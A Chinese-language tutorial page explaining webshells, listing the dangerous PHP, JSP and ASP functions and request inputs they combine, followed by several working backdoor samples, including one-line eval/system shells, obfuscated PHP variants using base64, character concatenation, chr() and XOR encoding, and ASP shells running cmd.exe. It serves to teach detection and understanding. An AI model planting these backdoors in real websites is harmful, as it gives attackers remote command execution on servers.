webshell详解

Webshell详解

    • 一、 Webshell 介绍
    • 二 、 基础常见webshell案例

一、 Webshell 介绍

  1. 概念

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。

从字面上来说,webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境,用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境,从而获取服务器的一些权限,最终达到控制网站服务器的目的。

  1. 简单介绍

一个最简单的 php webshell

<?php system($_GET[1]); ?>

利用该webshell执行任意命令:
在这里插入图片描述

  1. webshell本质

如下任意命令执行类webshell一般由以下两部分组成:

  • 威胁函数;

  • 可控参数;
    在这里插入图片描述

简单总结 ,Webshell的本质其实是威胁函数和可控参数的组合调用,二者缺一不可。

绝大多数webshell都遵循这个原则,理解了这个大原则,也就基本了解了webshell的逻辑。

  1. 威胁函数与可控输入总结(常见)
  • php Webshell威胁函数 :
1 - 命令执行类函数:
exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec,
php_check_syntax,virtual,escapeshellcmd2 – 执行代码段函数
assert,eval,create_function,runkit_function_add,runkit_function_redefine   3 – 回调类函数
call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey,
array_filter,array_intersect_uassoc,array_intersect_ukey,array_map,
array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc…4 – 文件包含函数
include, require, require_once, include_once
  • php webshell 可控输入:
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_SERVER
  • jsp webshell 威胁函数(类)

1 - 命令执行:
java.lang.Runtime.getRuntime().exec()
java.lang.ProcessBuilder.start()
java.lang.ProcessImpl //私有类,需要使用反射加载
ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本
ELProcessor().eval() //tomcat el表达式
ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现
java.beans.Expression.getValue() //java.beans.Expression命令执行
jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行2 - 类加载:
java.lang.ClassLoader
java.net.URLClassLoader3 - 反射:
Class.forName("{威胁函数}")4 - 反序列化:
XMLDecoder().readObject()  // 类似weblogic xml 反序列化漏洞5 - jndi注入:
com.sun.rowset.JdbcRowSetImpl
  • jsp 可控输入:
1 - Request(HttpServletRequest)的可控参数种类:
getParameter, getQueryString, getParameterNames,
getInputStream, getReader, getParameterMap, getContentLength,
getParameterValues, getHeader,
getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames,
getContentLengthLong2 - 其他参数类型:
URLConnection(HttpURLConnection)
Response(HttpServletResponse)
pageContext
  • asp webshell 威胁函数
eval
execute
executeGlobal
(wscript.shell).exec()
  • asp 可控输入:
request()
Request.BinaryRead()

php 函数库参考文档:https://www.php.net/

java 类方法参考文档:https://tool.oschina.net/apidocs/apidoc?api=jdk-zh

二 、 基础常见webshell案例

  1. PHP webshell 类
  • “一句话webshell” 类
<?php eval($_POST['1']);?><?php assert($_REQUEST["c"]);?><?php system($_POST['1']);?><?php shell_exec($_GET['1']);?>
  • create_function 函数使用
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
  • 字符拼接类
<?php
$s0="e";
$s1="val($";
$s2="_";
$s3="P";
$s4="O";
$s5="ST";
$poos=$s0.$s1.$s2.$s3.$s4.$s5."[mima]);";
$pp=@eval($poos);
@eval($pp);
?>
  • ascii码隐藏特征字符
<?php
$a="chr";
$b=$a(97).$a(115).$a(115).$a(101).$a(114).$a(116);
echo $b;
$b($_POST['cmd']);
?>
  • preg_replace 函数 /e 特性使用
<?php
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>
  • include 文件包含
<?php
@include($_GET['bug']);
?>
  • 异或逻辑运算隐藏特征字符
<?php
#$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
#$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('{'^'+').('/'^'`').(''^']').(' '^']'); // $__='_POST';
echo $__;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
  1. asp webshell类
  • eval 执行任意命令
<%eval request("qt")%>
  • execute 执行任意命令
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
  • COM组件命令执行
<%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("qt")).stdout.readall%>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/74518.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国标GB28181安防视频平台EasyGBS大批量通道接入后,创建角色接口未响应的排查

国标GB28181协议视频平台EasyGBS是基于国标GB28181协议的视频云服务平台&#xff0c;支持多路设备同时接入&#xff0c;并对多平台、多终端分发出RTSP、RTMP、FLV、HLS、WebRTC等格式的视频流。平台可提供视频监控直播、云端录像、云存储、检索回放、智能告警、语音对讲、平台级…

【并发专题】操作系统模型及三级缓存架构

目录 课程内容一、冯诺依曼计算机模型详解1.计算机五大核心组成部分2.CPU内部结构3.CPU缓存结构4.CPU读取存储器数据过程5.CPU为何要有高速缓存 学习总结 课程内容 一、冯诺依曼计算机模型详解 现代计算机模型是基于-冯诺依曼计算机模型 计算机在运行时&#xff0c;先从内存中…

day20-101. 对称二叉树

101. 对称二叉树 力扣题目链接 给定一个二叉树&#xff0c;检查它是否是镜像对称的。 思路 镜像对称必要的条件就是根节点的左右子树互相对称 左子树的左孩子 右子树的右孩子左子树的右孩子 右子树的左孩子 递归 使用递归前要确定递归的顺序&#xff0c;是前序、后序还…

目标识别数据集互相转换——xml、txt、json数据格式互转

VOC数据格式与YOLO数据格式互转 1.VOC数据格式 VOC&#xff08;Visual Object Classes&#xff09;是一个常用的计算机视觉数据集&#xff0c;它主要用于对象检测、分类和分割任务。VOC的标注格式&#xff0c;也被许多其他的数据集采用&#xff0c;因此理解这个数据格式是很重…

QT--day4(定时器事件、鼠标事件、键盘事件、绘制事件、实现画板、QT实现TCP服务器)

QT实现tcpf服务器代码&#xff1a;&#xff08;源文件&#xff09; #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);//给服务器指针实例化空间server new QTc…

【图论】强连通分量进阶

一.作用 强连通分量可以判断环和进行缩点。还有一系列作用.... 这篇文章介绍缩点 二.题目 https://www.luogu.com.cn/problem/P2341 三.思路 我们分析可以知道当一个点没有出度时&#xff0c;则为最受欢迎的牛。但如果有多个出度&#xff0c;则没有最受欢迎的牛。 这是只有…

用户权限管理是保证企业图文档安全最有效的策略

企业拥有大量的图文档数据&#xff0c;涉及多个部门和员工&#xff0c;因此需要建立有效的用户权限管理策略&#xff0c;以保护图文档的安全。智橙平台将在线图文档管理与BOM系统的融合应用为企业提供了强大的权限管理功能&#xff0c;能够确保只有授权用户能够访问和编辑特定的…

Linux运维面试题(三)之数据库管理

Linux运维面试题&#xff08;三&#xff09;之数据库管理 1. SQL语句2.集群主从服务器原理主从故障切换单台Mysql达到性能瓶颈时&#xff0c;如何处理 3.索引&#xff08;软优化&#xff09;什么是索引索引的分类劣势&#xff08;优点&#xff1a;效率和减少数据表内排序和随机…

java实现5种不同的验证码图片,包括中文、算式等,并返回前端

导入以下依赖 <!--图片验证码--><dependency><groupId>com.github.whvcse</groupId><artifactId>easy-captcha</artifactId><version>1.6.2</version></dependency> 编写controller package com.anXin.user.controlle…

【vue】 Tinymce 富文本编辑器 不想让上传的图片转换成base64,而是链接

前言&#xff1a;最近项目上需要使用富文本编辑器&#xff0c;觉得tinymce很不错就用了&#xff0c;具体怎么在项目中使用参考 【vue】 vue2 中使用 Tinymce 富文本编辑器 【vue】 Tinymce 数据 回显问题 | 第一次正常回显后面&#xff0c;显示空白bug不能编辑 这两天又遇到了…

Open3D(C++) 根据索引提取点云

目录 一、功能概述1、主要函数2、源码二、代码实现三、结果展示本文由CSDN点云侠原创,原文链接。爬虫网站自重,把自己当个人 一、功能概述 1、主要函数 std::shared_ptr<PointCloud> SelectByIn

如何运行疑难解答程序来查找和修复Windows 10中的常见问题

如果Windows 10中出现问题&#xff0c;运行疑难解答可能会有所帮助。疑难解答人员可以为你找到并解决许多常见问题。 一、在控制面板中运行疑难解答 1、打开控制面板&#xff08;图标视图&#xff09;&#xff0c;然后单击“疑难解答”图标。 2、单击“疑难解答”中左上角的…

2023华数杯数学建模竞赛C题思路解析

如下为&#xff1a;2023华数杯数学建模竞赛C题 母亲身心健康对婴儿成长的影响 的思路解析 C题 母亲身心健康对婴儿成长的影响 母亲是婴儿生命中最重要的人之一&#xff0c;她不仅为婴儿提供营养物质和身体保护&#xff0c;还为婴儿提供情感支持和安全感。母亲心理健康状态的不…

O3DE的Pass

Pass介绍 Pass是具有输入和输出的渲染过程。 在最终渲染帧中看到的每个细节都是通过一系列Pass&#xff08;前一个Pass的输出是下一个Pass的输入&#xff09;计算出来的。Pass可以生成图像&#xff08;作为纹理、缓冲区或渲染目标&#xff09;。每个图像都包含关于场景的特定…

CTFSHOW php 特性

web89 数组绕过正则 include("flag.php"); highlight_file(__FILE__);if(isset($_GET[num])){$num $_GET[num]; get numif(preg_match("/[0-9]/", $num)){ 是数字 就输出 nodie("no no no!");}if(intval($num)){ 如果是存在整数 输出 flagecho …

Qt tabwidget中插入widget

一、简单介绍 QT->tabWidget&#xff1a;标签页面。 在ui中通过工具栏自定义拉取控件&#xff0c;其中tabwidget可以可以创建多个标签页面&#xff0c;默认生成两个tab_widget(tab_1/tab_2)。并且可以在ui中右键自由添加控制删除等标签页&#xff0c;切换标签页就是切换widg…

uniapp点击图片放大预览

阐述 有些时候我们在用uniapp显示图片时&#xff0c;有的不宜全部显示到屏幕上&#xff0c;uniapp提供了一个非常好用的api。 实现方式如下&#xff1a; <template><view class"content"><image class"logo" src"/static/images/a.…

SOC FPGA之流水灯设计

一、DS-5简介 Altera Soc EDS开发套件的核心是Altera版ARM Development Studio 5(DS-5)工具包&#xff0c;为SoC器件提供了完整的嵌入式开发环境、FPGA自适应调试和对Altera工具的兼容。 1.1 DS-5 eclipse破解 首先下载破解器 然后进入cmd运行&#xff0c;进入到破解器所在文…

邪恶版ChatGPT来了!

「邪恶版」ChatGPT 出现&#xff1a;每月 60 欧元&#xff0c;毫无道德限制&#xff0c;专为“网络罪犯”而生。 WormGPT 并不是一个人工智能聊天机器人&#xff0c;它的开发目的不是为了有趣地提供无脊椎动物的人工智能帮助&#xff0c;就像专注于猫科动物的CatGPT一样。相反&…

探索 GPTCache|GPT-4 将开启多模态 AI 时代,GPTCache + Milvus 带来省钱秘籍

世界正处于数字化的浪潮中&#xff0c;为了更好理解和分析大量数据&#xff0c;人们对于人工智能&#xff08;AI&#xff09;解决方案的需求呈爆炸式增长。 此前&#xff0c;OpenAI 推出基于 GPT-3.5 模型的智能对话机器人 ChatGPT&#xff0c;在自然语言处理&#xff08;NLP&a…